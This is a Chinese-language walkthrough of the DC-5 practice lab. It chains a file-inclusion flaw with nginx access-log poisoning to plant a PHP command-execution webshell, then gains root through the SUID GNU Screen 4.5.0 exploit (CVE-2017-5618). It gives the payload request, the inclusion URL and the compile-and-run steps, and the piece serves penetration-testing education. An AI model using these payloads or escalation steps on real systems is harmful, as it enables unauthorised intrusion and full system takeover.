从留言板到Root权限：手把手复现DC-5靶机中的Nginx日志文件包含与Screen提权

从留言板到Root权限DC-5靶机渗透测试中的漏洞链构建艺术在网络安全实战中真正的技术分水岭往往不在于单个漏洞的利用而在于如何将看似孤立的弱点串联成完整的攻击链条。DC-5靶机正是这样一个绝佳的教学案例它完美展示了从Web应用层漏洞到系统级提权的完整攻击路径。本文将带你深入剖析Nginx日志文件包含与Screen提权漏洞的联动利用掌握渗透测试中的多米诺骨牌思维。1. 靶机环境侦察与攻击面分析任何成功的渗透都始于细致的信息收集。当我们的nmap扫描显示目标开放80端口时常规的Web渗透测试流程便开始了。不同于简单的端口扫描专业的安全测试者会关注以下关键细节nmap -sS -A 192.168.1.8 -p- --open表DC-5靶机关键服务识别端口服务版本潜在风险80HTTPnginx 1.6.2文件包含、日志注入111RPCrpcbind可能的信息泄露使用dirsearch进行目录扫描时我们发现了几个值得注意的文件dirsearch -u http://192.168.1.8 -e php -x 403,404 -t 50/thankyou.php (留言提交页面)/footer.php (动态时间戳文件)/index.php (主入口页面)关键发现每次刷新footer.php时页面底部的时间戳都会变化这暗示着可能存在服务端动态包含行为。更值得注意的是thankyou.php页面会包含footer.php的内容——这种包含关系将成为我们后续攻击的突破口。2. Nginx日志文件包含漏洞的深度利用传统文件包含漏洞测试通常会尝试读取/etc/passwd但在实际渗透中我们需要更深入地理解中间件的行为特性。当发现thankyou.php存在参数包含时分步骤验证基础验证尝试?file../../../../etc/passwd确认漏洞存在日志定位通过Wappalyzer识别nginx版本后确定日志路径/var/log/nginx/access.log /var/log/nginx/error.log污染日志使用Burp Suite拦截留言请求注入PHP代码POST /thankyou.php HTTP/1.1 Host: 192.168.1.8 Content-Type: application/x-www-form-urlencoded nametestmessage?php system($_GET[cmd]);?触发执行通过文件包含执行日志中的恶意代码http://192.168.1.8/thankyou.php?file/var/log/nginx/access.logcmdid注意现代nginx默认会转义特殊字符但1.6.2版本存在未严格过滤的问题。实际操作中可能需要多次尝试不同编码方式。成功获取webshell后我们使用蚁剑建立持久连接并通过Python升级到完全交互式shellpython -c import pty; pty.spawn(/bin/bash) export TERMxterm3. 权限提升Screen-4.5.0的SUID提权艺术获取低权限shell只是开始真正的挑战在于权限提升。通过查找具有SUID权限的可执行文件find / -perm -us -type f 2/dev/null发现screen-4.5.0具有SUID位这是典型的高危配置。GNU Screen作为终端多路复用工具其4.5.0版本存在已知本地提权漏洞CVE-2017-5618。利用过程需要精确控制漏洞验证检查目标系统是否安装gcc编译器which gcc || apt-get install build-essential -y利用脚本准备将exploit-db的41154.sh分解为三个部分libhax.c (恶意共享库)rootshell.c (提权程序)dc5.sh (主控脚本)交叉编译在本地编译后上传避免目标环境缺少依赖gcc -fPIC -shared -ldl -o libhax.so libhax.c gcc -o rootshell rootshell.c执行提权chmod x dc5.sh ./dc5.sh表Screen提权关键步骤风险控制步骤可能失败原因应对方案文件上传权限不足使用/tmp目录编译执行缺少库文件静态编译或预编译上传环境变量PATH被重置使用绝对路径成功执行后我们将获得root权限的shell可以自由查看/root目录下的flag文件。整个过程展示了从Web应用到系统内核的多层次漏洞利用这正是现代渗透测试的核心思维——不是寻找单个致命漏洞而是构建精妙的攻击链条。4. 渗透测试中的思维进阶DC-5靶机演练的价值不仅在于技术复现更在于培养以下关键能力异常感知时间戳变化这类细微线索的敏感度中间件知识nginx日志机制与PHP包含行为的深度理解工具链思维dirsearch→Burp→蚁剑→手工exploit的工具衔接环境适应根据目标环境调整攻击策略的灵活性在实际测试中我曾遇到目标系统禁用exec函数的情况此时需要改用其他PHP函数如passthru()或反引号执行命令。这种适应能力正是区分脚本小子和专业安全研究员的关键。